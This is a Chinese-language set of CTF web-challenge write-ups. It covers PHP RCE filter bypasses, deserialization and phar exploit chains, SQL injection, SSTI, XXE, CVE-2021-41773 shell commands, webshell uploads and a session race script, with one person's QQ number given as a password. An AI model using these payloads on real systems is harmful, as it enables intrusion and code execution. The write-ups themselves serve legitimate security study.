来到start.php,ctrl+u查看页面源码
发现hint,应该是要我们看robots.txt
不知道为什么firefox这里中文乱码了,不过无所谓,告诉了我们下一步在f14g.php
访问/f14g.php,在响应头发现hint
访问/F1l1l1l1l1lag.php,得到源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
过滤了空格,用%09绕过
过滤了flag,用通配符*读
payload:
/F1l1l1l1l1lag.php?get=system('cat%09/f*');
prize_p5
反序列化字符串逃逸+原生类
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
出口在catalogue::__destruct
中的echo new $this->class($this->data)
,很明显需要调用原生类
然后看一下下面对get传参的的过滤,过滤了object
那我们先用GlobIterator
类来寻找一下flag
exp:
<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "GlobIterator";
$this->data = "/*f*";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
$a=new catalogue();
echo serialize($a);
可以读到根目录下存在/flag
接下来就是要想办法读取flag,上面ban了object,意味着能读取文件的原生类像SplFileObject
这样的无法使用
所以要用到post传参的语句
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
很明显要利用最后的file_get_contents
,让email=/flag
按照常规思路是要在phone变量构造使它多出来目标的email变量,但是这题的phone变量得是个数组
我们先本地测试一下
<?php
class escape
{
public $name = '0w0';
public $phone = ['NSS'];
public $email = '/flag';
}
function abscond($string)
{
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
$abscond = new escape();
$abscond = serialize($abscond);
echo $abscond;
echo "\n";
echo abscond($abscond);
得到
O:6:"escape":3:{s:4:"name";s:3:"0w0";s:5:"phone";a:1:{i:0;s:3:"NSS";}s:5:"email";s:5:"/flag";}
O:6:"escape":3:{s:4:"name";s:3:"0w0";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:5:"/flag";}
那我们的目标就是";}s:5:"email";s:5:"/flag";}
,共28个字符
用28个hello逃逸即可
exp:
<?php
class escape
{
public $name = '0w0';
public $phone = ['hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}'];
public $email = '';
}
function abscond($string)
{
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
$abscond = new escape();
$abscond = serialize($abscond);
//echo $abscond;
//echo "\n";
echo abscond($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
echo "\n".file_get_contents($escape['email']);
本地测试成功,那么传参即可
payload:
GET:/?cata=
POST:name=0w0&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=
base64解码即可获得flag
非预期
我们可以用SplFileObject
类来读文件,但是要对其中的object进行16进制编码,同时长度13前面的s要大写,这样就可以解析16进制了
payload:
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}
[SWPUCTF 2022 新生赛]funny_php
php特性
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
一步步来,首先是用科学计数法1e9
绕过限制
然后因为会匹配并替换一次NSSCTF,这里直接双写绕过即可
接着是md5弱比较
payload:
GET: /?num=1e9&str=NSSNSSCTFCTF
POST: md5_1=QNKCDZO&md5_2=240610708
[NCTF 2018]滴!晨跑打卡
联合注入
随便查询一下,发现sql语句都给了
select * from pcnumber where id ='1'
注入点在id
fuzz一下,发现过滤了*
,--
,空格
空格可以用%a0
代替,用'
闭合后面的语句
测试回显
?id=0'%a0union%a0select%a01,2,3,4'
爆数据库
?id=0'%a0union%a0select%a01,2,database(),4'
得到数据库cgctf
爆表
?id=0'%a0union%a0select%a01,2,group_concat(table_name),4%a0from%a0information_schema.tables%a0where%a0table_schema="cgctf"'
得到表pcnumber
爆列名
?id=0'%a0union%a0select%a01,2,group_concat(column_name),4%a0from%a0information_schema.columns%a0where%a0table_name="pcnumber"'
得到列名id,bigtime,smalltime,flag
爆字段
?id=0'%a0union%a0select%a01,2,(select%a0group_concat(flag)from%a0pcnumber),4'
[BJDCTF 2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
第一步可以用data伪协议,data伪协议可以作为文件内容来读取
第二步用php伪协议base64编码读取next.php
payload:
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
考了preg_replace和正则e模式的利用,参考SHCTF的ezphp(爹像儿子了属于是)
这里的匹配模式选择\S*
,然后执行${phpinfo()}
查看环境变量即可
payload:
/next.php?\S*=${phpinfo()}
[鹏城杯 2022]简单的php
无数字字母rce+无参rce
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
第一层过滤是无数字字母rce,第二层过滤是无参rce
php版本7.2.34,同时注意到限制了长度不能超过80,考虑getallheaders参数逃逸,这里用取反
注:固定写法,[!%FF]
作为()的衔接,用二维数组进行拼接需要[!%FF]
分割,[!%FF]
是0的意思,因为前面是个数组,取里面的第0项才是木马
打印请求头print_r(getallheaders());
?code=[~%8F%8D%96%91%8B%A0%8D][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]());
直接用next指向ua头伪造即可system(next(getallheaders()));
?code=[~%8C%86%8C%8B%9A%92][!%ff]([~%91%9A%87%8B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));
User-Agent: ls /
[GXYCTF 2019]BabySqli
sql注入union创建虚拟表
点击登录来到search.php
ctrl+u发现源码hint,base解码一下得到sql语句
select * from user where username = '$name'
是单引号闭合
fuzz一下,ban掉了or,(,),=,information_schema,order
测试了一下,发现在用户名为admin的时候才会返回wrong pass,用户名应该就是admin
然后测试列数,用大写替换就可以绕过order的过滤了
name=admin' ORDER by 1,2,3,4#
测试到4时报错,说明里面只有三列
接下来就是爆库了,但是过滤了括号,意味着函数基本上是用不了的
这个时候就要用union
创建虚拟表(mysql的特性:参考https://c1oudfl0w0.github.io/blog/2023/08/05/ctfshow-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B8%93%E9%A2%98/#%E6%9E%84%E9%80%A0%E4%B8%B4%E6%97%B6%E7%94%A8%E6%88%B7)
本地测试:(我这边的表只有3列)
select * from user union select 1,2,3;
可以看到最下面那行生成了我们自己定义好的数据,而这行数据是临时的,实际上没有保存在数据库中
而这题就是利用这个方法,我们已经知道了用户名admin,但是密码不知道,这时候就可以用union创建一个虚拟的数据,然后进行查询,这样就能返回正常值
本地测试:
select * from user union select "username","admin",1;#
回到题目,测试的时候发现给pw传入一个数组会返回md5函数的报错信息,可知密码那部分需要进行md5加密
注意:后面创建了虚拟表,前面就不要再查admin了
payload:
name=1' union select 1,"admin","c4ca4238a0b923820dcc509a6f75849b"#&pw=1
[安洵杯 2020]Normal SSTI
ssti
按照要求传值
明显存在ssti注入
fuzz脚本:
import requests
ssti_char = [
"{{}}", "'", '"', '""', "_", "os", ".", "|attr", "[]", "request", "pop",
"class", "bases", "mro", "subclasses", "globals", "init", "subprocess",
"lipsum", "get", "set", "join"," "
]
url = "http://node4.anna.nssctf.cn:28483/test"
header = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':
'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded'
}
for char in ssti_char:
#post_data = "tt=1" + char #+ "&username=1#"
#res = requests.post(url, data=post_data, headers=header)
get_data = "url=" + char
res = requests.get(url, params=get_data)
if 'do a real p1g' in res.text:
print("不可用: {0}".format(char))
else:
print("可用: {0}".format(char))
fuzz一下,发现过滤了{{}}
,'
,""
,_
,.
,[]
,request
,globals
,set
,get
,空格
{{}}
可以用{%print%}
替换
.
,[]
可以用|attr
来调用方法:''|attr("__class__")
等价于''.__class__
,xxx|attr("os")('xxx')
等价于xxx.os('xxx')
下划线被过滤了,考虑用unicode编码绕过
过滤了成对引号的话,拿不到我们需要的subclasses,得用lipsum方法来命令执行:lipsum|attr("__globals__")
查找模块
/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F"))%}
找到os模块
获取os模块lipsum|attr("__globals__")|attr("get")("os")
/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u0067\u0065\u0074")("os"))%}
获取popen方法并命令执行lipsum|attr("__globals__").get("os").popen("ls").read()
/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u0067\u0065\u0074")("os")|attr("popen")("ls")|attr("read")())%}
读到的app.py
from flask import Flask, request, render_template_string
app = Flask(__name__)
url_black_list = [
"%1c", "%1d", "%1f", "%1e", "%20", "%2b", "%2c", "%3c", "%3e"
]
black_list = [
"[", "]", "{{", "=", "_", "\\", '""', "\\x", "request", "config",
"session", "url_for", "g", "get_flashed_messages", "*", "for", "if",
"format", "list", "lower", "slice", "striptags", "trim", "xmlattr",
"tojson", "set", "=", "chr"
]
@app.route("/", methods=["GET", "POST"])
def index():
return "try to check /test?url=xxx"
@app.route("/test", methods=["GET"])
def testing():
url = request.url
for black in url_black_list:
if black in url:
return "<h1>do a real p1g</h1>"
url = request.args.get("url")
for black in black_list:
if black in url:
return "<h1>do a real p1g</h1>"
return render_template_string("<h1>this is your url {}</h1>".format(url))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8899, debug=True)
空格被过滤了,可以用%09绕过
flag和*
被过滤了,可以用?
通配符绕过
payload:
/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u0067\u0065\u0074")("os")|attr("popen")("cat%09/f???")|attr("read")())%}
[UUCTF 2022 新生赛]ez_upload
文件上传之AddHandler导致的解析漏洞
上传界面,测试了一下发现不能传.php后缀
然后看一下题目的环境版本Apache/2.4.10 (Debian)+PHP/5.6.28
我们知道这个版本是存在apache httpd解析漏洞的,三种解析漏洞测试过去之后发现只有AddHandler导致的解析漏洞能够成功解析
即文件名.png.php
然后就是命令执行了
[极客大挑战 2020]welcome
信息收集
一开始访问网页报405,还以为是环境坏了
回来看题目描述1.In addition to the GET request method, there is another common request method…
应该是让我们用post方式访问网页
抓包改为post请求再发包
得到源码
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
接下来就是sha1强比较,直接数组绕过即可
payload:
roam1[]=1&roam2[]=2
在phpinfo里寻找有用的信息
发现auto_prepend_file被设置为了f1444aagggg.php,即所有页面的顶部都require了个f1444aagggg.php
直接访问f1444aagggg.php,发现返回404
逆天,最后在响应头里找到flag
[NSSRound#4 SWPU]ez_rce
CVE-2021-41773
vulhub上的漏洞利用:https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
进入题目,看到了Apache默认的It works!
页面
先看server版本Apache/2.4.49 (Unix)
这个版本的服务器存在CVE-2021-41773
先尝试读取文件
curl -v --path-as-is http://node4.anna.nssctf.cn:28819/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
返回403,看来是读不了
再测试是否存在命令执行
curl -v --data "echo;id" http://node4.anna.nssctf.cn:28819/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
成功返回id
那就直接命令执行
curl -v --data "echo;ls /" http://node4.anna.nssctf.cn:28819/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
flag在/flag_is_here中,但是里面有一堆文件夹,这里需要用grep命令过滤一下
curl -v --data "echo;grep -r 'NSS' /flag_is_here" http://node4.anna.nssctf.cn:28819/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
得到flag
[SWPUCTF 2022 新生赛]ez_1zpop
反序列化
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
出口在fin::fmm
的$b($this->title);
链子:lt::__destruct -> lt::__toString -> fin::fmm
PHP版本5.5.38,有cve-2016-7124绕过wakeup
md5弱比较
exp:
<?php
class dxg
{
}
class lt
{
public $impo = 'hi';
public $md51 = 'QNKCDZO';
public $md52 = '240610708';
function __construct()
{
$this->impo = new fin;
}
}
class fin
{
public $a = "system";
public $url = 'https://www.ctfer.vip';
public $title = "ls /";
}
$a = new lt();
echo serialize($a);
// O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}
payload:
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}
[HZNUCTF 2023 preliminary]flask
ssti
进入题目,只告诉我们/?name=
尝试ssti注入{{7*7}}
,网页返回500,再尝试{%print(7*7)%}
,返回hello! }%)7*7(tnirp%{
明显是被逆序处理了,那我们尝试逆序传入{{7*7}}
,成功返回49
接下来我们直接测试payload,开个python终端把要传进去的payload字符串最后再加上个[::-1]
即可逆序输出
>>> '{{"".__class__.__bases__[0].__subclasses__()}}'[::-1]
先找<class ‘os._wrap_close’>,注意由于html标签原因,这里要在ctrl+u里面才能查看
/?name=}})(__sessalcbus__.]0[__sesab__.__ssalc__.""{{
在第133个,直接命令执行
/?name=}})(daer.)"/ sl"(]"nepop"[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.""{{
最后发现flag在环境变量env里面
[UUCTF 2022 新生赛]ez_unser
反序列化绕过wakeup
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
PHP版本5.6.28,但是底下正则把成员个数限死了不能修改
不过有$this->b=$this->c;
,可以进行引用绕过,把a和b变成用同一个内存变量,所以给b赋值相当于给a赋值
exp:
<?php
class test
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->a = 1;
$this->b = 2;
$this->c = "system('ls /');";
}
}
$v = new test();
$v->b = &$v->a;
echo serialize($v);
[NCTF 2019]Fake XML cookbook
xxe
进入题目,是一个登录框,随便输个账号密码进去试试
返回报错
是xml格式传输数据的,猜测在<username>
处存在xxe注入
在/doLogin.php路由进行post传参
没做过滤,直接读flag就行
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>123456</password></user>
[SWPUCTF 2022 新生赛]Ez_upload
.htaccess文件上传
抓包改php后缀传马,返回后缀名不能有ph!
正常上传,发现要把Content-Type改为image/jpeg,png不行
测试一下几种后缀绕过的方法发现没用,考虑传.htaccess文件绕过
<FilesMatch "1.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
然后上传图片马,测了半天发现文件内容好像过滤了php标签和一部分短标签
那就用script短标签绕过
<script language='php'> eval($_POST['cmd']);</script>
上传成功
直接命令执行即可
flag在phpinfo
[NSSRound#8 Basic]MyPage
文件包含/proc or pearcmd or session
进入题目,很明显能发现路由/index.php?file=
存在任意文件包含
尝试php伪协议读取和写入一句话木马,失败,猜测是用了require_once()
不能重复包含文件
这里有三种解决办法:
方法1:伪协议配合多级符号链接
参考文章:https://www.anquanke.com/post/id/213235
这里需要用cwd读当前目录来读取文件源码,因为/var/www/html被过滤了:
注:在POST处理数据的时候,某些WAF只处理8k的数据,后面的选择放过,这时候就可以用大量脏数据绕过,但GET型使用大量脏数据则会返回414 (Request-URI Too Long)
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
base64解码
<?php
error_reporting(0);
include 'flag.php';
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include_once $file;
} else {
die('error.');
}
}
过滤了不少协议,还用了include_once
尝试直接读flag成功
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
方法2:pearcmd
由于这题本质上就是个文件包含,虽然不知道php的配置register_argc_argv是否开启,但是php版本为PHP/7.2.34,pecl/pear是默认安装的,所以可以尝试用pearcmd来做
payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd'])?>+/tmp/test.php
写入成功,注:用burpsuite发送这段payload,不然<
和>
会被提前编码掉
直接包含访问/tmp/test.php,命令执行
方法3:session.upload_progress与Session文件包含
在上面那个方法读取phpinfo时,我们可以发现session.upload_progress.enable
这个选项是On
也就是说可以进行session文件包含,上传含有所需内容的session文件,然后利用条件竞争的方法利用该session文件
exp:
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://43.142.108.3:28104/'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)
然后访问/tmp/success即可
[SWPUCTF 2021 新生赛]babyunser
phar反序列化文件上传
进入题目,给了我们两个按钮,分别是上传文件和查看文件
先去查看文件,读取一下几个页面的源码
index.php
<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>
upload.php
<html>
<title>aa的文件上传器</title>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>请选择要上传的文件:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])){
$upload_path="upload/".md5(time()).".txt";
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
echo "文件路径:".$upload_path;
} else {
$msg = '上传失败';
}
}
可以看到这里会对上传的文件后面加上txt后缀,直接传马是不能解析的
read.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>aa的文件查看器</title>
<style>
.search_form{
width:602px;
height:42px;
}
/*左边输入框设置样式*/
.input_text{
width:400px;
height: 40px;
border:1px solid green;
/*清除掉默认的padding*/
padding:0px;
/*提示字首行缩进*/
text-indent: 10px;
/*去掉蓝色高亮框*/
outline: none;
/*用浮动解决内联元素错位及小间距的问题*/
float:left;
}
.input_sub{
width:100px;
height: 42px;
background: green;
text-align:center;
/*去掉submit按钮默认边框*/
border:0px;
/*改成右浮动也是可以的*/
float:left;
color:white;/*搜索的字体颜色为白色*/
cursor:pointer;/*鼠标变为小手*/
}
.file_content{
width:500px;
height: 242px;
}
</style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
<input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
<input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
发现这里读取文件是new了一个aa类,获取文件是new了一个zz类,同时发现里面include了一个class.php
再读取class.php看看
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
那么做法就很明显了,是phar反序列化文件上传,filter里过滤了一些伪协议
出口很明显在xx::__call
的$name($arg[0]);
链子:aa::__destruct -> zz:__toString -> zz::write -> ff::__get -> xx::__call
这里解释一下触发ff::__get
的操作,我们想要触发的是ff类的__get
,就需要利用ff类的私有参数content来触发,这里看到write方法,其中的filename我们可以自己控制,但是write方法的参数里还可以触发一个,这样我们只要让filename参数new ff
,然后$var赋值content就可以触发ff::__get
所以在zz:__toString
这里要post传参method=write
,来调用write方法,再post传参让var=content
来触发ff::__get
exp:
<?php
class aa{
public $name;
public function __construct(){
$this->name=new zz();
}
}
class ff{
private $content;
public $func="system";
public function __construct(){
$this->content=new xx();
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct(){
$this->filename=new ff();
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name;
$this->arg;
}
}
$a=new aa();
@unlink('test.phar'); //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$phar->setMetadata($a);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
上传成功后执行payload:
file=phar://upload/4f605c9aae77e1be861cd5fb6c96b578.txt&method=write&var=content&cmd=ls /
[GXYCTF 2019]禁止套娃
git泄露+无参rce
进入题目,dirsearch扫一下目录,发现存在git泄露
直接githacker获取源码
python GitHack.py -u http://node4.anna.nssctf.cn:28023/.git/
得到index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
第一层过滤了伪协议,第二层过滤是无参rce,第三层过滤禁用了一些关键字
payload一把梭了:
highlight_file(next(array_reverse(scandir(current(localeconv())))));
[SWPUCTF 2022 新生赛]funny_web
弱类型
进入题目,是一个登录框,先点击一下登录按钮看看,返回“用户名是实验室名哦~”,也就是NSS
用户名填入NSS,点击登录,返回“听说密码是招新群某位的QQ”,这里是2122693401,也就是谢队的(
成功登录,来到rea11y.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}
